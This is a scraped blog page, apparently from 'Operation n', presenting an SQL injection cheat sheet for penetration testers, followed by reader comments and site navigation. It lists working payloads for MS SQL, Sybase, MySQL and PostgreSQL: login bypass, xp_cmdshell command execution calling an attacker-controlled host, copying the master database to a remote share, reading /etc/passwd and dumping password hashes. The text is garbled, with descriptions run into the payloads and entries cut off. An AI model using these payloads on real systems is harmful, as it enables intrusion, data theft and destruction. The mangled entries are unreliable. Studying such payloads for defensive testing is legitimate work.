Operation N SQL Injection Cheat Sheet
Operation N SQL Injection Cheat Sheet
Operation N SQL Injection Cheat Sheet
Operation n
A Hackers Diary
Related articles: Input Validation Cheat Sheet (Want to find other input validation problems?)
Table of Contents
Microsoft SQL
Sybase
MySQL
Oracle
PostgreSQL
ChangeLog
Date
Change
13/03/07
03/01/06
Added some more blind SQL injection tests for MySQL (Author: jungsonn)
21/12/06
06/Nov/06
06/Nov/06
06/Nov/06
Oct/06
Introduction
Comments:
This paper was primarily written to aid penetration testers. I hope you find it useful. Please email me additional payloads as you find them.
The following payloads are generally applied to login forms with a username and password. Correctly performing these attacks will allow
Payload
realusername' or 1=1
admin'
DANGEROUS! this will delete the user database if the table name is "users".
Microsoft SQL
Payload
storing clear text passwords in the log files. Appending this 'admin sp_password after your comments () can prevent SQL Injection queries
being logged.
select @@version
select @@servername
select @@microsoftversion
Misc. command execution with cp_cmdshell - this is useful exec master..xp_cmdshell 'ping+system-controlled-by-attacker' for blind SQL Injection tests (where no results are displayed).
Backup entire database to a file. This attack can be used to BACKUP database master to disks='\\{IP}\{sharename}\backupdb.dat' steal a database.
create table myfile (line varchar(8000))" bulk insert foo from c:\inetpub\wwwroot Reading files on the filesystem. \auth.asp" select * from myfile"
Sybase
Payload
select @@version"
convert(integer,(select+min(name)+from+syslogins+where+name>'))
We then continue as before by placing the convert(integer,(select+min(name)+from+syslogins+where+name>'sybase')) value into our query. An error will then
continue as before.
cp_cmdshell - this is useful for blind SQL xp_cmdshell 'ping+system-controlled-by-attacker' Injection tests (where no results are
displayed).
cp_cmdshell - this is useful for blind SQL waitfor delay '0:0:5' Injection tests (where no results are
displayed).
create table myfile (record varchar(2000)) external file at "c:\temp\myfile.exe" insert into myfile Write file to filesystem. values(0xAND_YOUR_BINARY_DATA)"
MySQL
Payload
select @@version;
create table myfile (input TEXT); load data infile /etc/passwd into table
from myfile;
Write files on the filesystem. This attack is limited by the fact select host,user,password from user into outfile /tmp/passwd; that you can only write to either /tmp or /var/tmp.
select CONCAT(a,b);
BENCHMARK(1000000000,MD5(gainingtime))
Cause delay for blind SQL Injection tests. Same as before, but BENCHMARK(1000000000,MD5(CHAR(116))) this can be used if quotes are filtered.
IF EXISTS (SELECT * FROM users WHERE username = root) Check if username exists, if yes there will be an delay. BENCHMARK(1000000000,MD5(gainingtime))
DELAY 0:0:3
seconds.
Oracle
Robert Hurlbut has put together an awesome document on Oracle SQL Injection. He seems to have far more experience in this area then I, so
i will merely present a link to his blog entry on this topic (http://weblogs.asp.net/rhurlbut/archive/2004/01/24/62560.aspx).
Payload
PostgreSQL
Payload
select version();
select current_database();
select current_user;
select session_user;
select current_setting(log_connections);
select current_setting(log_statement);
select current_setting(port);
select current_setting(password_encryption);
select current_setting(krb_server_keyfile);
select current_setting(virtual_host);
select current_setting(port);
select current_setting(config_file);
select current_setting(hba_file);
select current_setting(data_directory);
create table myfile (input TEXT); copy myfile from /etc/passwd; select * from myfile;
str1 || str2
Payload
Writing info into files without single quotes (example). You must specify a
outfile concat(char(39),char(97),char(100),char(109),char(105),char
new file (it may not exist) and give the correct pathname.
(110),char( 39))
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
Related articles:
Input Validation Cheat Sheet (Want to find other input validation problems?)
External links:
1. Hey the top part of your sybase entries are really MS SQL?
2. trevor:
The code base for Microsoft SQL Server (prior to version 7.0) originated in Sybase SQL Server (see http://en.wikipedia.org/wiki/
Like:
realusername' or 1=1-
Generic
Generic
Would allow using the XSS Forms greasemonkey script and/or CAL9000 together with input validation & sql injection I started
work but its kindof useless if i have to update the xml every time its updated.
Trackbacks
1. [] finding the SQL Injection Cheat sheet useful, I decided to also release an Input Validation Cheat sheet. As usual feedback and
[]
Pingback by Operation n Input Validation Cheat Sheet Released 12 April 2007 @ 12:24 am
Leave a Comment
Name(required)
URI
Submit Comment
Recommended Links
Input Validation Cheat Sheet SQL Injection Cheat Sheet Backdooring PDF Files Web Backdoor Compilation CSRF with MSWord Hacking HomePlug Networks WordPress templatephp Exploit
q q q q q q q
Support michaeldaw.org
Latest Entries
Mens Rules Tell me how to hack? AVs prove less-effective ASP-Auditor v2.2 Release Hotlinks and Persistent CSRF - leech the leech Web Backdoor Compilation 1b released. Tabular Cheat Sheets Input Validation Cheat Sheet Released Wireless Penetration Testing Mindmap Bypassing ASP.NET XSS Filters
q q q q q q q q q q
Pages
About Operation n Hacking Web 2.0 MindMap Projects MD's Vuls Michael's Toolbox SQL Injection Cheat Sheet Input Validation Cheat Sheet Site Disclaimer
q q q q q q q q
Operation n by Category
Alerts Chapter0 Chapter1 Diary Funstuff Great Links Main Michael Daws Hacks Michaels Recipes News Papers Projects
q q q q q q q q q q q q
Search Operation n
Search
Meta
r
Valid XHTML